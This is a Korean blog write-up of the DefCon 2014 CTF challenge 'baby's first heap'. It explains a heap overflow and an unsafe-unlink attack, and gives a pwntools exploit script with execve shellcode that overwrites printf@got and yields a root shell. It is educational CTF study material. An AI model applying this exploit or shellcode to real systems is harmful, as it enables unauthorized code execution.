본문 바로가기

CTF_Write_UP

[DefCon 2014] baby's first heap

시작

안녕하세요 :D

오랜만에 싸지방 포너블입니다.

오늘은 DefCon의 Baby 시리즈 문제를 하나 들고 왔는데요!!

과연 이게 baby가 맞나 싶은.. 1pt짜리 문제라고 할 수 없을 정도로 어려웠는데 ㅠㅠㅠㅠ

역시 heap은 만만하지 않아요.

처음으로 풀어본 heap 문제, 시작해보죠!!

Write UP

root@goorm:/workspace/LCH_Server/posting/heap/babyfirst_heap# ./babys_first_heap

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=9AB6008][size=1246]
[ALLOC][loc=9AB64F0][size=1121]
[ALLOC][loc=9AB6958][size=947]
[ALLOC][loc=9AB6D10][size=741]
[ALLOC][loc=9AB7000][size=706]
[ALLOC][loc=9AB72C8][size=819]
[ALLOC][loc=9AB7600][size=673]
[ALLOC][loc=9AB78A8][size=1004]
[ALLOC][loc=9AB7C98][size=952]
[ALLOC][loc=9AB8058][size=755]
[ALLOC][loc=9AB8350][size=260]
[ALLOC][loc=9AB8458][size=877]
[ALLOC][loc=9AB87D0][size=1245]
[ALLOC][loc=9AB8CB8][size=1047]
[ALLOC][loc=9AB90D8][size=1152]
[ALLOC][loc=9AB9560][size=1047]
[ALLOC][loc=9AB9980][size=1059]
[ALLOC][loc=9AB9DA8][size=906]
[ALLOC][loc=9ABA138][size=879]
[ALLOC][loc=9ABA4B0][size=823]
Write to object [size=260]:
aaaa
Copied 5 bytes.
[FREE][address=9AB6008]
[FREE][address=9AB64F0]
[FREE][address=9AB6958]
[FREE][address=9AB6D10]
[FREE][address=9AB7000]
[FREE][address=9AB72C8]
[FREE][address=9AB7600]
[FREE][address=9AB78A8]
[FREE][address=9AB7C98]
[FREE][address=9AB8058]
[FREE][address=9AB8350]
[FREE][address=9AB8458]
[FREE][address=9AB87D0]
[FREE][address=9AB8CB8]
[FREE][address=9AB90D8]
[FREE][address=9AB9560]
[FREE][address=9AB9980]
[FREE][address=9AB9DA8]
[FREE][address=9ABA138]
[FREE][address=9ABA4B0]
Did you forget to read the flag with your shellcode?
Exiting

실행시키면 20번의 동적할당이 이루어집니다.

size가 260인 청크에 입력을 받고 차례대로 free 해주네요.

IDA는.. 역시 따왔습니다ㅎㅎ..

int __cdecl main(int argc, const char **argv, const char **envp)
{
    void *v3; // eax
    int v5;
    int v6;
    void *v7;
    int v8;
    char buff;
    size_t v10;
    size_t v11;
    unsigned int i;
    setvbuf(stdout, 0, 2, 0);
    signal(14, sig_alarm_handler);
    alarm(0x5Au);
    mysrand(0x1234u);
    puts("\nWelcome to your first heap overflow...");
    puts("I am going to allocate 20 objects...");
    puts("Using Dougle Lee Allocator 2.6.1...\nGoodluck!\n");
    exit_func = do_exit;
    printf("Exit function pointer is at %X address.\n", &exit_func);

    for ( i = 0; i <= 0x13; ++i )
    {
        v11 = randrange(0x200u, 0x500u);
        if ( i == 10 )
            v11 = 0x104;
        v3 = malloc(v11);
        *(&v5 + 2 * i) = (int)v3;
        *(&v6 + 2 * i) = v11;
        printf("[ALLOC][loc=%X][size=%d]\n"), *(&v5 + 2 * i), v11);
    }

    printf("Write to object [size=%d]:\n", v8);
    v10 = get_my_line(&buff, 4096u);
    memcpy(v7, &buff, v10);
    printf("Copied %d bytes.\n", v10);

    for ( i = 0; i <= 0x13; ++i )
    {
        printf("[FREE][address=%X]\n", *(&v5 + 2 * i));
        free((void *)*(&v5 + 2 * i));
    }
    exit_func(1u);

return 0; }

따라 치는게 제일 힘드네요ㅠ

코드를 보면 i가 10일 때는 0x104만큼만 동적 할당이 들어가는 것을 확인할 수 있습니다.

그 곳에 get_my_line() 함수로 입력을 받는데, 무려 4096 bytes를 받아요.

이 부분에서 Heap Overflow가 발생합니다!!

취약점은 찾았는데, 이걸 어떻게 공격해야 할까요?

 


 

힙 청크들의 연속적인 free가 일어날 때, 이웃한 청크를 합병하기 위하여 unlink 매크로가 실행됩니다.

#define unlink( P, BK, FD )
{
    BK = P->bk;
    FD = P->fd;
    FD->bk = BK;
    BK->fd = FD;
}

현재 청크인 P의 fd, bk 조작으로 이전 청크와 다음 청크를 포인터로 잇는 과정이에요.

여기서 fd + 12 = bk, bk + 8 = fd 연산이 이루어집니다.

이 때 P가 우리가 만들어놓은 Fake Chunk면 어떻게 될까요?

위 연산에 의해서 @got에 쉘코드의 주소를 덮어씌우는 것이 가능하게 되겠죠?

이러한 취약점을 Unsafe Unlink, Double Free Bug라고 해요.

 


 

DFB를 이용해 바이너리를 터뜨려봅시다.

gdb-peda$ r
Starting program: /workspace/LCH_Server/posting/heap/babyfirst_heap/babys_first_heap
warning: Error disabling address space randomization: 명령을 허용하지 않음

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=840C008][size=1246]
[ALLOC][loc=840C4F0][size=1121]
[ALLOC][loc=840C958][size=947]
[ALLOC][loc=840CD10][size=741]
[ALLOC][loc=840D000][size=706]
[ALLOC][loc=840D2C8][size=819]
[ALLOC][loc=840D600][size=673]
[ALLOC][loc=840D8A8][size=1004]
[ALLOC][loc=840DC98][size=952]
[ALLOC][loc=840E058][size=755]
[ALLOC][loc=840E350][size=260]
[ALLOC][loc=840E458][size=877]
[ALLOC][loc=840E7D0][size=1245]
[ALLOC][loc=840ECB8][size=1047]
[ALLOC][loc=840F0D8][size=1152]
[ALLOC][loc=840F560][size=1047]
[ALLOC][loc=840F980][size=1059]
[ALLOC][loc=840FDA8][size=906]
[ALLOC][loc=8410138][size=879]
[ALLOC][loc=84104B0][size=823]
Write to object [size=260]:

aaaaaaaa

.
.

gdb-peda$ x/40wx 0x840e350 - 0x4
0x840e34c:      0x00000109      0x00000000      0x00000000      0x00000000
0x840e35c:      0x00000000      0x00000000      0x00000000      0x00000000
0x840e36c:      0x00000000      0x00000000      0x00000000      0x00000000

get_my_line() 이후에 BP를 걸고 달려봤습니다.

할당된 위치 -4 에 size(4) + prev_inuse flag(1) + data(260) = 0x109 값이 들어가있네요.

우리가 알고 있던 chunk와는 다르게 prev_size 4 bytes가 보이질 않아요.

따라서 fd, bk 연산식이 살짝 바뀝니다!!

fd + 8 = bk로 말이죠. 기억해둡시다. (IDA로 unlink 부분을 보면 확인 가능해요!!)

쉘코드 + 더미 값을 260 bytes만큼 주면 다음 청크에 접근할 수 있겠네요.

그런데 보면 첫 번째 청크부터 연속적으로 free가 발생하고 있죠?

따라서 첫 번째 청크의 fd와 bk에만 계속해서 overwrite가 일어나고 있습니다.

얘를 끊어내지 않으면 우리의 fake chunk의 fd, bk는 날아가버리고 말아요.

때문에 fake chunk의 prev_inuse를 1로 박아놓겠습니다!!

이렇게 하면 fake chunk를 free하려고 할 때 P flag가 1이니깐 첫 번째 청크와의 합병이 끊기게 돼요.

자.. fake chunk의 헤더는 size는 0이고, P flag가 1이라는 것까지 설정해주었습니다.

이제 이 친구의 fd, bk를 넣어줘야겠죠??

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partia

쉘을 떨어뜨려야 하는데 NX가 걸려있어서 난감하네요..

heap 영역을 다시 한 번 살펴봐요.

gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x0804b000 r-xp      /workspace/LCH_Server/posting/heap/babyfirst_heap/babys_first_heap
0x0804b000 0x0804c000 r--p      /workspace/LCH_Server/posting/heap/babyfirst_heap/babys_first_heap
0x0804c000 0x0804d000 rw-p      /workspace/LCH_Server/posting/heap/babyfirst_heap/babys_first_heap
0x09450000 0x09456000 rwxp      [heap]
0xf7590000 0xf7591000 rw-p      mapped
0xf7591000 0xf7739000 r-xp      /lib32/libc-2.19.so
0xf7739000 0xf773b000 r--p      /lib32/libc-2.19.so
0xf773b000 0xf773c000 rw-p      /lib32/libc-2.19.so
0xf773c000 0xf773f000 rw-p      mapped
0xf774a000 0xf774c000 rw-p      mapped
0xf774c000 0xf774f000 r--p      [vvar]
0xf774f000 0xf7750000 r-xp      [vdso]
0xf7750000 0xf7770000 r-xp      /lib32/ld-2.19.so
0xf7770000 0xf7771000 r--p      /lib32/ld-2.19.so
0xf7771000 0xf7772000 rw-p      /lib32/ld-2.19.so
0xff9ea000 0xffa0b000 rw-p      [stack]

heap의 권한이 뭐죠? rwx!! 쉘코드를 넣어주세요 라고 말하네요 ㅎㅎ

fd + 8 = bk 에 의해 fd에는 printf@got - 8의 값을, bk에는 size가 260인 청크의 data 영역 주소를 넣어줄게요.

DFB를 위한 Fake Chunk가 완성됐습니다!! size가 0이고, P flag가 1이고, fd와 bk엔 위에 값들이 들어가 있는 친구입니다.

프로그램의 흐름을 정리해볼까요?

1. size가 260인 청크까지 첫 번째 청크의 fd, bk를 조작하며 합병됩니다.

2. fake chunk를 free하려고 할 때 P flag를 보게 될텐데, 이 친구가 1이기 때문에 첫 번째 청크와의 병합이 끊깁니다.

3. fake chunk 다음 청크의 free가 진행됩니다. 다음 청크의 P flag가 0으로 설정되기 때문에 fd + 8 = bk 연산이 이루어집니다.

4. Exploit!!

마지막으로 주의할 점은, fd + 8 = bk 연산 이후에 바로 bk + 4 = fd 연산이 있기 때문에

쉘코드 시작 전에 jmp 가젯을 추가하겠습니다.

from pwn import *

e = ELF("./babys_first_heap")
l = e.libc
p = process(e.path)

payload = ""
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
printf_got = 0x804c004

p.recvuntil("[size=755]\n")
p.recvuntil("[ALLOC][loc=")
heap_addr = (int)(p.recv(7), 16)

payload += p32(0x50eb)
payload += "\x90" * 100
payload += shellcode
payload += "\x90" * (260 - len(payload))
payload += p32(1)
payload += p32(0x804c004 - 0x8)
payload += p32(heap_addr)

p.send(payload)
p.interactive()
[*] '/workspace/LCH_Server/posting/heap/babyfirst_heap/babys_first_heap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/lib32/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/workspace/LCH_Server/posting/heap/babyfirst_heap/babys_first_heap': pid 263
[*] Switching to interactive mode
][size=260]
[ALLOC][loc=8E33458][size=877]
[ALLOC][loc=8E337D0][size=1245]
[ALLOC][loc=8E33CB8][size=1047]
[ALLOC][loc=8E340D8][size=1152]
[ALLOC][loc=8E34560][size=1047]
[ALLOC][loc=8E34980][size=1059]
[ALLOC][loc=8E34DA8][size=906]
[ALLOC][loc=8E35138][size=879]
[ALLOC][loc=8E354B0][size=823]
Write to object [size=260]:
$
Copied 273 bytes.
[FREE][address=8E31008]
[FREE][address=8E314F0]
[FREE][address=8E31958]
[FREE][address=8E31D10]
[FREE][address=8E32000]
[FREE][address=8E322C8]
[FREE][address=8E32600]
[FREE][address=8E328A8]
[FREE][address=8E32C98]
[FREE][address=8E33058]
[FREE][address=8E33350]
$ whoami
root

Exploit!!

마무리

이해하는데 굉장히 오래 걸린 첫 번째 heap exploit이었습니다.

how2heap 봤을 땐 간단해보였는데.. 어렵네요 ㅠㅠ

중요한 포인트를 알게 된 것 같아서 뿌듯합니다.

일단 연속적인 free에 의해 첫 번째 청크의 fd, bk값이 계속 덮어 씌워졌다는 것!

그리고 다음 청크의 size 필드를 overwrite해서 size가 0이고 P flag가 1인 fake chunk를 만들었다는 것!

마지막으로 fake chunk 다음에 존재하는 청크를 free할 때 fake chunk의 fd, bk unlink가 일어나게 한 것!

1pt짜리 문제지만 얻은 것은 제일 많은 문제였습니다.

감사합니다!! :D

'CTF_Write_UP' 카테고리의 다른 글

[Redpwn CTF 2019] Stop, ROP, n', Roll  (0) 2019.08.20
[DefCon 2016] Feed Me  (0) 2019.06.14
[Pico CTF 2013] ROP3  (0) 2019.06.12
[HSCTF 2019] Write up  (0) 2019.06.08
[2017 CSAW CTF] pilot  (0) 2019.05.30